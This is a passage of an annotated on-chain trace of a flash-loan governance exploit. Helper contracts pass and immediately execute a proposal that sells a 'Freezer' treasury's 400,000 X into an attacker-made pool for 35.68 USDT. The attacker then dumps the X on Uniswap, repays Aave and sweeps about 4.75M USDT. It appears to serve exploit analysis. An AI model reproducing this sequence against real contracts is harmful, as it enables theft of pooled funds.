838→CALLPancakeV3PoolDeployerverified.deploy(address=0x0bfbcf9fa4f9c56b0f40a671ad40e0805a091865, address=0x100a2c7f45fd48e217fdce72e658dc78fd43a100, address=0xdac17f958d2ee523a2206206994597c13d831ec7, uint24=100, int24=1)4,713,490 gas
◈Pool deployer step producing the new X/USDT pool for the attacker's liquidity.
849→CREATE2DackieV3Poolverified.0x61014060(raw call data0x61014060…518b)4,599,843 gas
◈Deploys the actual pool bytecode via CREATE2 at a deterministic address.
8510→STATICCALLPancakeV3PoolDeployerverified.0x89035730()734 gas
◈Reads deployer parameters so the new pool is configured with the correct fee and tick spacing.
868→EVENTPancakeV3Factoryverified.PoolCreated(address=0x100a2c7f45fd48e217fdce72e658dc78fd43a100, address=0xdac17f958d2ee523a2206206994597c13d831ec7, uint24=100, int24=1, address=0x9a03c41c539880b51508bebbc2dde7b738f6f075)
◈Emits the new pool's address for the attacker's subsequent liquidity provision.
877→CALLDackieV3Poolverified.initialize(uint160=806,000,000,000,000,000,000,000,000)71,505 gas
◈Initializes the pool at a price where X is nearly worthless in USDT
888→EVENTDackieV3Poolverified.Initialize(uint160=806,000,000,000,000,000,000,000,000, int24=-91,765)
◈Sets the new pool's starting price, enabling the attacker to seed liquidity at chosen level.
896→CALLUSDT.approve(address=0x46a15b0b27311cedf172ab29e4f4766fbe7f4364, uint256=100,000,000)24,953 gas
◈USDT grants spending allowance for a downstream pull
907→EVENTUSDT.Approval(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0x46a15b0b27311cedf172ab29e4f4766fbe7f4364, uint256=100,000,000)
◈USDT allowance change recorded for indexers
⚑9 setup916→CALLNonfungiblePositionManagerverified.mint(tuple=[11 items])487,773 gas
◈NonfungiblePositionManager~verified mints receipt / debt tokens to record the position
927→STATICCALLDackieV3Poolverified.slot0()863 gas
◈Reads the freshly initialized pool price before minting liquidity.
937→CALLDackieV3Poolverified.mint(address=0x46a15b0b27311cedf172ab29e4f4766fbe7f4364, int24=-100,000, int24=-92,000, uint128=30,170,315,705, bytes=0x0000000000000000…)226,911 gas
◈Adds only 100 USDT of liquidity to buy the treasury's X almost for free
948→STATICCALLUSDT.balanceOf(address=0x9a03c41c539880b51508bebbc2dde7b738f6f075)3,031 gas
◈USDT reads token balance (sanity check before transfer / accounting)
958→CALLNonfungiblePositionManagerverified.pancakeV3MintCallback(uint256=0, uint256=100,000,000, bytes=0x0000000000000000…)28,315 gas
◈Pays USDT into the new pool to provide the attacker's liquidity.
969→CALLUSDT.transferFrom(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0x9a03c41c539880b51508bebbc2dde7b738f6f075, uint256=100,000,000)25,224 gas
◈USDT pulls tokens from user via prior approval — funds the action
9710→EVENTUSDT.Transfer(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0x9a03c41c539880b51508bebbc2dde7b738f6f075, uint256=100,000,000)
◈USDT token movement recorded for indexers and balance trackers
988→STATICCALLUSDT.balanceOf(address=0x9a03c41c539880b51508bebbc2dde7b738f6f075)1,031 gas
◈USDT reads token balance (sanity check before transfer / accounting)
998→EVENTDackieV3Poolverified.Mint()
◈DackieV3Pool~verified mints receipt / debt tokens to record the position
1007→STATICCALLDackieV3Poolverified.positions(bytes32=0x09c0514200d9dea1…)991 gas
◈Reads the new liquidity position data for the attacker's NFT.
1017→EVENTNonfungiblePositionManagerverified.Transfer(address=0x0000000000000000000000000000000000000000, address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, uint256=23,375)
◈NonfungiblePositionManager~verified token movement recorded for indexers and balance trackers
1027→EVENTNonfungiblePositionManagerverified.IncreaseLiquidity(uint256=23,375, uint128=30,170,315,705, uint256=0, uint256=100,000,000)
◈Confirms the liquidity added to the attacker's position in the new pool.
Propose, vote, execute treasury swapHelpers propose and pass a v3Swap, and execute sells 400,000 treasury X into the rogue pool for 35.68 USDT.
1036→CALL0xe08107e7dc7c4540d139392e9d0fea99ca019f37.propose(address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, bytes=0xa437635200000000…)289,801 gas
◈Submits a Freezer proposal to execute a swap of treasury X through the new pool.
⚑10 trigger1047→CALLFreezerverified.propose(data=0xa437635200000000…, description="testnet flash governance proof")288,774 gas
◈Proposes a treasury v3Swap (400k X into the rogue pool), proposer auto-votes For
1058→EVENTFreezerverified.ProposalCreated(id=7, proposer=0xe08107e7dc7c4540d139392e9d0fea99ca019f37, selector=0xa4376352, data=0xa437635200000000…, description="testnet flash governance proof", deadline=1,793,110,307)
◈Logs the proposal that will move the Freezer's funds.
1068→EVENTFreezerverified.Voted(id=7, voter=0xe08107e7dc7c4540d139392e9d0fea99ca019f37, support=true)
◈Records the attacker's own vote supporting its proposal.
1076→CALL0x176d1ea0ee9569783c6f6e455f7be6171566619c.vote(address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, uint256=7)30,094 gas
◈Second helper casts its vote to reach the approval threshold.
⚑11 trigger1087→CALLFreezerverified.vote(id=7, support=true)29,433 gas
◈Second For vote, 2*2 > senateSize, proposal passes
1098→EVENTFreezerverified.Voted(id=7, voter=0x176d1ea0ee9569783c6f6e455f7be6171566619c, support=true)
◈Logs the second vote that helps pass the proposal.
⚑12 exploit1106→CALLFreezerverified.execute(id=7)342,357 gas
◈Executes immediately, no timelock or delay
1117→CALLFreezerverified.v3Swap(uint8=1, address=0x100a2c7f45fd48e217fdce72e658dc78fd43a100, address=0xdac17f958d2ee523a2206206994597c13d831ec7, uint24=100, uint256=400,000,000,000, uint256=0)308,371 gas
◈Freezer executes a swap of its treasury X into USDT via the attacker's pool.
1128→DELEGATECALLDexModuleverified.v3Swap(uint8=1, address=0x100a2c7f45fd48e217fdce72e658dc78fd43a100, address=0xdac17f958d2ee523a2206206994597c13d831ec7, uint24=100, uint256=400,000,000,000, uint256=0)304,888 gas
◈Delegate module performing the treasury swap logic on behalf of the Freezer.
1139→STATICCALLPancakeV3Factoryverified.getPool(address=0x100a2c7f45fd48e217fdce72e658dc78fd43a100, address=0xdac17f958d2ee523a2206206994597c13d831ec7, uint24=100)675 gas
◈Looks up the pool the Freezer will swap through, now the attacker's X/USDT pool.
1149→STATICCALLXverified.balanceOf(address=0x79f35a33fe2813414851c4ae8daeacd14d822a46)560 gas
◈X~verified reads token balance (sanity check before transfer / accounting)
1159→CALLXverified.approve(address=0x13f4ea83d0bd40e75c8222255bc855a974568dd4, uint256=400,000,000,000)24,734 gas
◈X~verified grants spending allowance for a downstream pull
11610→EVENTXverified.Approval(address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, address=0x13f4ea83d0bd40e75c8222255bc855a974568dd4, uint256=400,000,000,000)
◈X~verified allowance change recorded for indexers
1179→CALLSmartRouterverified.exactInputSingle(tuple=[7 items])251,148 gas
◈SmartRouter~verified executes a token swap on this pool / router
11810→DELEGATECALLSmartRouterHelperverified.getPool(address=0x41ff9aa7e16b8b1a8a8dc4f0efacd93d02d071c9, address=0x100a2c7f45fd48e217fdce72e658dc78fd43a100, address=0xdac17f958d2ee523a2206206994597c13d831ec7, uint24=100)1,763 gas
◈Resolves the pool address inside the router helper for the swap path.
⚑13 drain11910→CALLDackieV3Poolverified.swap(address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, bool=true, int256=400,000,000,000, uint160=4,295,128,740, bytes=0x0000000000000000…)236,880 gas
◈Treasury's 400,000 X sold into the attacker pool for 35.68 USDT
12011→CALLUSDT.transfer(address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, uint256=35,675,313)28,801 gas
◈USDT sends tokens out of this contract
12112→EVENTUSDT.Transfer(address=0x9a03c41c539880b51508bebbc2dde7b738f6f075, address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, uint256=35,675,313)
◈USDT token movement recorded for indexers and balance trackers
12211→STATICCALLXverified.balanceOf(address=0x9a03c41c539880b51508bebbc2dde7b738f6f075)2,560 gas
◈X~verified reads token balance (sanity check before transfer / accounting)
12311→CALLSmartRouterverified.pancakeV3SwapCallback(int256=400,000,000,000, int256=-35,675,313, bytes=0x0000000000000000…)30,020 gas
◈Router callback supplies X to the pool, paying for the USDT received from the treasury swap.
12412→DELEGATECALLSmartRouterHelperverified.verifyCallback(address=0x41ff9aa7e16b8b1a8a8dc4f0efacd93d02d071c9, address=0x100a2c7f45fd48e217fdce72e658dc78fd43a100, address=0xdac17f958d2ee523a2206206994597c13d831ec7, uint24=100)1,983 gas
◈Checks the callback comes from the legitimate pool before transferring tokens.
12512→CALLXverified.transferFrom(address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, address=0x9a03c41c539880b51508bebbc2dde7b738f6f075, uint256=400,000,000,000)24,057 gas
◈X~verified pulls tokens from user via prior approval — funds the action
12613→EVENTXverified.Transfer(address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, address=0x9a03c41c539880b51508bebbc2dde7b738f6f075, uint256=400,000,000,000)
◈X~verified token movement recorded for indexers and balance trackers
12711→STATICCALLXverified.balanceOf(address=0x9a03c41c539880b51508bebbc2dde7b738f6f075)560 gas
◈X~verified reads token balance (sanity check before transfer / accounting)
12811→EVENTDackieV3Poolverified.Swap(address=0x13f4ea83d0bd40e75c8222255bc855a974568dd4, address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, int256=400,000,000,000, int256=-35,675,313, uint160=702,887,186,059,225,061,802,577,849, uint128=30,170,315,705, int24=-94,503, uint128=13,199,997, uint128=0)
◈DackieV3Pool~verified executes a token swap on this pool / router
1299→CALLXverified.approve(address=0x13f4ea83d0bd40e75c8222255bc855a974568dd4, uint256=0)2,734 gas
◈X~verified grants spending allowance for a downstream pull
13010→EVENTXverified.Approval(address=0x79f35a33fe2813414851c4ae8daeacd14d822a46, address=0x13f4ea83d0bd40e75c8222255bc855a974568dd4, uint256=0)
◈X~verified allowance change recorded for indexers
1319→STATICCALLXverified.balanceOf(address=0x79f35a33fe2813414851c4ae8daeacd14d822a46)560 gas
◈X~verified reads token balance (sanity check before transfer / accounting)
1329→EVENTFreezerverified.Swapped(dex=1, tokenIn=0x100a2c7f45fd48e217fdce72e658dc78fd43a100, tokenOut=0xdac17f958d2ee523a2206206994597c13d831ec7, amountIn=400,000,000,000, amountOut=35,675,313)
◈Freezer~verified executes a token swap on this pool / router
1337→STATICCALLXverified.balanceOf(address=0x79f35a33fe2813414851c4ae8daeacd14d822a46)560 gas
◈X~verified reads token balance (sanity check before transfer / accounting)
1347→EVENTFreezerverified.ProposalExecuted(id=7, executor=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, votesFor=2, senateSize=3, senators=[3 items])
◈Confirms the governance proposal that drained the treasury was executed.
Withdraw rogue liquidityBurns the LP position and collects 399,986.80 X plus 64.32 USDT.
1356→CALLNonfungiblePositionManagerverified.decreaseLiquidity(tuple=[5 items])110,608 gas
◈Removes the attacker's liquidity from the new pool to withdraw the USDT proceeds.
1367→CALLDackieV3Poolverified.burn(int24=-100,000, int24=-92,000, uint128=30,170,315,705)59,786 gas
◈DackieV3Pool~verified burns receipt / debt tokens to close the position
1378→EVENTDackieV3Poolverified.Burn(address=0x46a15b0b27311cedf172ab29e4f4766fbe7f4364, int24=-100,000, int24=-92,000, uint128=30,170,315,705, uint256=399,959,999,991, uint256=64,324,680)
◈DackieV3Pool~verified burns receipt / debt tokens to close the position
1387→STATICCALLDackieV3Poolverified.positions(bytes32=0x09c0514200d9dea1…)991 gas
◈Reads the position after removal to determine the withdrawable token amounts.
1397→EVENTNonfungiblePositionManagerverified.DecreaseLiquidity(uint256=23,375, uint128=30,170,315,705, uint256=399,959,999,991, uint256=64,324,680)
◈Logs the liquidity withdrawal that releases the attacker's USDT from the pool.
1406→CALLNonfungiblePositionManagerverified.0xfc6f7865(raw call data0xfc6f7865…ffff)42,883 gas
◈Collects the withdrawn X and USDT owed to the attacker's PCS-V3 position after liquidity removal, pulling tokens out of the new pool.
⚑14 drain1417→CALLDackieV3Poolverified.collect(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, int24=-100,000, int24=-92,000, uint128=399,986,799,998, uint128=64,324,680)35,242 gas
◈Attacker pulls the treasury's X out of its own pool
1428→CALLXverified.transfer(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, uint256=399,986,799,998)23,159 gas
◈X~verified sends tokens out of this contract
1439→EVENTXverified.Transfer(address=0x9a03c41c539880b51508bebbc2dde7b738f6f075, address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, uint256=399,986,799,998)
◈X~verified token movement recorded for indexers and balance trackers
1448→CALLUSDT.transfer(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, uint256=64,324,680)4,901 gas
◈USDT sends tokens out of this contract
1459→EVENTUSDT.Transfer(address=0x9a03c41c539880b51508bebbc2dde7b738f6f075, address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, uint256=64,324,680)
◈USDT token movement recorded for indexers and balance trackers
1468→EVENTDackieV3Poolverified.Collect()
◈Pool transfers accrued X and USDT to the position manager, releasing the tokens the attacker extracts from the freshly minted liquidity.
1477→EVENTNonfungiblePositionManagerverified.Collect(uint256=23,375, address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, uint256=399,986,799,998, uint256=64,324,680)
◈Position manager emits its Collect event confirming the attacker has pulled the owed tokens out of the manipulated pool.
Dump X on UniswapSells 131,702.92 X into the Uniswap V3 pool for 6.69M USDT and approves the Aave repayment.
1486→STATICCALLXverified.balanceOf(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a)560 gas
◈X~verified reads token balance (sanity check before transfer / accounting)
1496→CALLXverified.approve(address=0x68b3465833fb72a70ecdf485e0e4c7bd8665fc45, uint256=399,986,799,998)24,734 gas
◈X~verified grants spending allowance for a downstream pull
1507→EVENTXverified.Approval(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0x68b3465833fb72a70ecdf485e0e4c7bd8665fc45, uint256=399,986,799,998)
◈X~verified allowance change recorded for indexers
1516→CALLUniswap_Universal_Router.exactInputSingle(tuple=[7 items])106,675 gas
◈Uniswap_Universal_Router executes a token swap on this pool / router
⚑15 cashout1527→CALLUniswapV3Poolverified.swap(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, bool=true, int256=399,986,799,998, uint160=529,660,814,613,145,903,854,313,436,173, bytes=0x0000000000000000…)101,786 gas
◈Dumps 131,702.92 X into the real Uniswap pool for 6.69M USDT
1538→CALLUSDT.transfer(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, uint256=6,693,089,638,357)6,901 gas
◈USDT sends tokens out of this contract
1549→EVENTUSDT.Transfer(address=0x0d85edd90c94053fc5997551b1baa8a77aa02fa0, address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, uint256=6,693,089,638,357)
◈USDT token movement recorded for indexers and balance trackers
1558→STATICCALLXverified.balanceOf(address=0x0d85edd90c94053fc5997551b1baa8a77aa02fa0)560 gas
◈X~verified reads token balance (sanity check before transfer / accounting)
1568→CALLUniswap_Universal_Router.uniswapV3SwapCallback(int256=131,702,921,165, int256=-6,693,089,638,357, bytes=0x0000000000000000…)8,234 gas
◈Router callback pays the pool the X input owed for the attacker's swap, settling the exact-input sale of stolen X for USDT.
1579→CALLXverified.transferFrom(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0x0d85edd90c94053fc5997551b1baa8a77aa02fa0, uint256=131,702,921,165)4,157 gas
◈X~verified pulls tokens from user via prior approval — funds the action
15810→EVENTXverified.Transfer(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0x0d85edd90c94053fc5997551b1baa8a77aa02fa0, uint256=131,702,921,165)
◈X~verified token movement recorded for indexers and balance trackers
1598→STATICCALLXverified.balanceOf(address=0x0d85edd90c94053fc5997551b1baa8a77aa02fa0)560 gas
◈X~verified reads token balance (sanity check before transfer / accounting)
1608→EVENTUniswapV3Poolverified.Swap(address=0x68b3465833fb72a70ecdf485e0e4c7bd8665fc45, address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, int256=131,702,921,165, int256=-6,693,089,638,357, uint160=529,660,814,613,145,903,854,313,436,173, uint128=0, int24=37,999)
◈UniswapV3Pool~verified executes a token swap on this pool / router
1616→CALLUSDT.approve(address=0x87870bca3f3fd6335c3f4ce8392d69350b4fa4e2, uint256=1,943,428,866,064)24,953 gas
◈USDT grants spending allowance for a downstream pull
1627→EVENTUSDT.Approval(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0x87870bca3f3fd6335c3f4ce8392d69350b4fa4e2, uint256=1,943,428,866,064)
◈USDT allowance change recorded for indexers
Repay flash loanAave pulls back principal plus fee and updates reserve state.
1635→STATICCALLInitializableImmutableAdminUpgradeabilitverified.scaledTotalSupply()7,422 gas
◈InitializableImmutableAdminUpgradeabilit~verified reads index-scaled supply to compute new debt/liquidity index
1646→DELEGATECALLVariableDebtTokenInstanceverified.scaledTotalSupply()2,373 gas
◈VariableDebtTokenInstance~verified reads index-scaled supply to compute new debt/liquidity index
1655→STATICCALLDefaultReserveInterestRateStrategyV2verified.calculateInterestRates(tuple=[8 items])5,705 gas
◈Aave strategy recomputes USDT borrow and supply rates after the flash loan's debt update, part of the flash loan accounting.
⚑16 cleanup1665→CALLUSDT.transferFrom(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0x23878914efe38d27c4d67ab83ed1b93a74d4086a, uint256=1,943,428,866,064)5,324 gas
◈Aave reclaims principal plus 971 USDT fee
1676→EVENTUSDT.Transfer(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0x23878914efe38d27c4d67ab83ed1b93a74d4086a, uint256=1,943,428,866,064)
◈USDT token movement recorded for indexers and balance trackers
1685→EVENTInitializableImmutableAdminUpgradeabilitverified.ReserveDataUpdated(address=0xdac17f958d2ee523a2206206994597c13d831ec7, uint256=33,764,739,096,644,423,768,250,917, uint256=0, uint256=42,837,368,836,846,731,206,360,370, uint256=1,180,058,989,519,161,130,510,309,906, uint256=1,250,315,681,047,205,489,064,386,761)
◈InitializableImmutableAdminUpgradeabilit~verified fetches per-reserve interest accounting before applying changes
1695→EVENTInitializableImmutableAdminUpgradeabilitverified.FlashLoan(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0xdac17f958d2ee523a2206206994597c13d831ec7, address=0x0000000000000000000000000000000000000000, uint256=315,870,522,390,103,535,399,018,088,998,803,961,422,262,685,962, uint8=1,942,457,637,245, uint256=0, uint16=971,228,819)
◈InitializableImmutableAdminUpgradeabilit~verified borrows funds repaid in the same tx (flash loan)
Sweep profitForwards the 4,749,726.10 USDT profit up to the attacker EOA.
1702→STATICCALLUSDT.balanceOf(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a)1,031 gas
◈USDT reads token balance (sanity check before transfer / accounting)
1712→CALLUSDT.transfer(address=0x89e903e4512f8a315cebd99c29a1e40eee6fe2c9, uint256=4,749,726,096,973)26,801 gas
◈Forwards profit to the outer deployer contract
1723→EVENTUSDT.Transfer(address=0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a, address=0x89e903e4512f8a315cebd99c29a1e40eee6fe2c9, uint256=4,749,726,096,973)
◈USDT token movement recorded for indexers and balance trackers
1732→EVENT0x37541fc4a6f1ec86889ba506f51dc39f2bedd10a.Completed(address=0x89e903e4512f8a315cebd99c29a1e40eee6fe2c9, uint256=1,942,457,637,245, uint256=971,228,819, uint256=4,749,726,096,973)
◈Attacker's contract signals the end of its exploit sequence after repaying the flash loan and sweeping profit.
1741→STATICCALLUSDT.balanceOf(address=0x89e903e4512f8a315cebd99c29a1e40eee6fe2c9)1,031 gas
◈USDT reads token balance (sanity check before transfer / accounting)
⚑17 cashout1751→CALLUSDT.transfer(address=0x7ec2afdf3ec5964899894f8d58afa95cbb8ffd63, uint256=4,749,726,096,973)28,801 gas
◈Final 4,749,726 USDT profit to the attacker EOA
1762→EVENTUSDT.Transfer(address=0x89e903e4512f8a315cebd99c29a1e40eee6fe2c9, address=0x7ec2afdf3ec5964899894f8d58afa95cbb8ffd63, uint256=4,749,726,096,973)
◈USDT token movement recorded for indexers and balance trackers